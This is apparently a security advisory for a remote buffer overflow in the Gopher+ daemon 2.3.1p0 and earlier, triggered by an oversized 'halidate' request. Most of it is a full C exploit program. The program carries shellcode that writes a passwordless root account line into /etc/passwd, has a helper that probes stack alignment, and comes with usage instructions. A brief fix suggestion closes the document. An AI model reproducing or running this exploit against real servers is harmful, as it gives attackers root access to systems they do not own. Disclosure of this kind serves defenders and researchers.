COMMAND
gopher
SYSTEMS AFFECTED
Gopher2.3.1p0 and below
PROBLEM
Chris Sharp found following. Gopher2.3.1p0 and below has many
overflowable functions in the daemon. Most of them overflow with
hardcoded data that gets passed along - making it not possible to
change any pointers.
The "halidate" function is not one of those. If sent the request
"halidate <large buffer>" you will overwrite a 512 buffer with
around 600 bytes of data, in the eip. (plenty of room to change
the pointer).
Note: This is not related to the other vulnerability,
authenticate.c, which has since been patched in 2.3.1p0. 2.3.1p0
is vulnerable to this.
The operating system is not specific(multi-platform), but Chris
has made a exploit for linux to exploit this:
/* (linux)Gopher+[v2.3.1p0-]: Daemon remote buffer overflow.
Findings and exploit by: v9[v9@fakehalo.org]. (vade79)
It is possible to exploit an unchecked sprintf call in the
"halidate" option in gopherd.c. This exploit will attempt
to write a line to /etc/passwd. (as a superuser)
The gopher+ daemon has multiple overflows in different
functions, but most overwrite the pointer(s) with hardcoded
data from the program which are limited. But, the
"halidate" option/call was a little hidden suprise for me.
When the exploit is sucessfully executed it adds the line:
"hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd, with no
0x0A return, which could cause some problems in some
situations. You may have to wait till someone on the box
modifies their /etc/passwd by adding a user or what not.
Syntax:
[syntax]: ./xgopher <target> [port] [offset] [alignment].
[syntax]: ./xgopher <target> <[port] [-getalignment]>.
Explaination:
If you don't know what the alignment of the server is, (which
isn't expected *g*) just type "./xgopher hostname [port]
-getalignment" and with aligment you're given type "./xgopher
hostname <port> <offset> <alignment response you are given>".
Info:
The following segment is from gopherd.c [line 1076/3453]:
("pathname" in the code segment is supplied by the user)
--------------------------------------------------------------------------------
void
OutputAuthForm(int sockfd, char *pathname, char *host, int
port, CMDprotocol p)
{
char tmpbuf[512];
...
sprintf(tmpbuf,
"<FORM METHOD=\"GET\"
ACTION=\"http://%s:%d/halidate%%20%s\">\r\n",
host, port, pathname);
...
}
--------------------------------------------------------------------------------
Notes:
This exploit requires that the service is running as root(to
write to /etc/passwd). Even if the gopher+ daemon displays
itself running as another user, as long as it's process is
running as root(uid=0) it should exploit successfully. Do to
the servers local host+port character lengths changing the
alignment will almost never be the same, I recommend using
the -getalignment parameter. You can play as much as you
want on this, the process is forked and won't crash the
gopher+ daemon with invalid pointers. This was also tested
effective on the 2.3 version of the gopher+ daemon.
Although this exploit is for linux servers, gopher+ isn't
just built for linux, it is also supported for BSD, Solaris,
SunOS, HP-UX and other operation systems.
Tests:
Built and tested on slackware 3.6 and slackware 7.0 linux.
(with lots of junk added to my /etc/passwd *g*)
*/
#define BSIZE 512 // buffer size. (tmpbuf[512] minus server data)
#define PADDING 150 // ret reps. (host+port length guessing room)
#define POINTER 0xbffff65c // base pointer in which offsets are added.
#define DEFAULT_PORT 70 // default gopher+ daemon port.
#define DEFAULT_OFFSET 0 // default offset. (argument is added)
#define DEFAULT_ALIGN 0 // alignment. (depends on host+port length)
#define TIMEOUT 5 // connection timeout time.
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>
static char exec[]= // appends "hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd.
"\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb\x30\xe4\x88"
"\x63\x0b\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4\x01\x31\xc0\xb0\x05\xcd"
"\x80\x89\xc3\x31\xc9\xb1\x5b\x01\xf9\x31\xd2\xb2\x1d\x31\xc0\xb0\x04\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x68\x61\x6b\x72\x6f\x6f\x74\x3a\x3a\x30\x3a\x30\x3a"
"\x68\x61\x63\x6b\x65\x64\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68";
void timeout(){printf("[timeout]: Connection timeout(%d).\n",TIMEOUT);quit(-1);}
int main(int argc,char **argv){
char bof[BSIZE];
int i,sock,port,offset,align,ga=0;
long ret=DEFAULT_OFFSET;
struct hostent *t;
struct sockaddr_in s;
printf("*** (linux)Gopherd+[v2.3.1p0-]: Remote buffer overflow, by: v9[v9@fake" "halo.org].\n");
if(argc<2){
printf("[syntax]: %s <target> [port] [offset] [alignment].\n",argv[0]);
printf("[syntax]: %s <target> <[port] [-getalignment]>.\n",argv[0]);
quit(0);
}
if(argc>2){
if(!strcmp(argv[2],"-getalignment")){ga=1;port=DEFAULT_PORT;}
else{port=atoi(argv[2]);}
}
else{port=DEFAULT_PORT;}
if(argc>3){
if(!strcmp(argv[3],"-getalignment")){ga=1;}
else{offset=atoi(argv[3]);}
}
else{offset=DEFAULT_OFFSET;}
if(argc>4){
if(atoi(argv[4])<0||atoi(argv[4])>3){
printf("[ignored]: Invalid alignment, using default alignment. (0-3)\n");
align=DEFAULT_ALIGN;
}
else{align=atoi(argv[4]);}
}
else{align=DEFAULT_ALIGN;}
if(ga){getalignment(argv[1],port);}
else{
ret=(POINTER+offset);
printf("[stats]: Addr: 0x%lx, Offset: %d, Align: %d, Size: %d, Padding: %d.\n" ,ret,offset,align,BSIZE,PADDING);
for(i=align;i<BSIZE;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(BSIZE-strlen(exec)-PADDING);i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
memcpy(bof,"halidate ",9);
bof[BSIZE]='\0';
if(s.sin_addr.s_addr=inet_addr(argv[1])){
if(!(t=gethostbyname(argv[1]))){
printf("[error]: Couldn't resolve. (%s)\n",argv[1]);
quit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
signal(SIGALRM,timeout);
printf("[data]: Attempting to connect to %s on port %d.\n",argv[1],port);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[error]: Connection failed. (port=%d)\n",port);
quit(-1);
}
alarm(0);
printf("[data]: Connected successfully. (port=%d)\n",port);
printf("[data]: Sending buffer(%d) to server.\n",strlen(bof));
write(sock,bof,strlen(bof));
usleep(500000);
printf("[data]: Closing socket.\n");
close(sock);
}
quit(0);
}
int getalignment(char *target,int port){
char buf[1024];
int i,j,si,sock,math;
struct hostent *t;
struct sockaddr_in s;
if(s.sin_addr.s_addr=inet_addr(target)){
if(!(t=gethostbyname(target))){
printf("[error]: Couldn't resolve. (%s)\n",target);
quit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(port);
sock=socket(AF_INET,SOCK_STREAM,0);
signal(SIGALRM,timeout);
printf("[data]: Attempting to connect to %s on port %d.\n",target,port);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){
printf("[error]: Connection failed. (port=%d)\n",port);
quit(-1);
}
alarm(0);
printf("[data]: Connected successfully. (port=%d)\n",port);
alarm(TIMEOUT);
write(sock,"halidate \n",10);
for(i=0;i<2;i++){if(!read(sock,buf,1024)){si++;}}
i=0;while(buf[i]&&!(buf[i]==0x4E)){i++;}
j=0;while(buf[j]&&!(buf[j]==0x25)){j++;}
usleep(500000);
printf("[data]: Closing socket.\n");
close(sock);
if(!si||i>=j||strlen(buf)<64){
printf("[error]: Too minimal or invalid data recieved to calculate. (try agai"
"n?)\n");
quit(-1);
}
else{
math=(i-j-2);
while(math<0){math+=4;}
printf("[data]: Alignment calculation: %d.\n",math);
}
}
int quit(int i){
if(i){
printf("[exit]: Dirty exit.\n");
exit(0);
}
else{
printf("[exit]: Clean exit.\n");
exit(-1);
}
}
SOLUTION
Compile with "./configure --disable-auth" (isn't disabled by
default) and then recompile gopher or wait for a patch.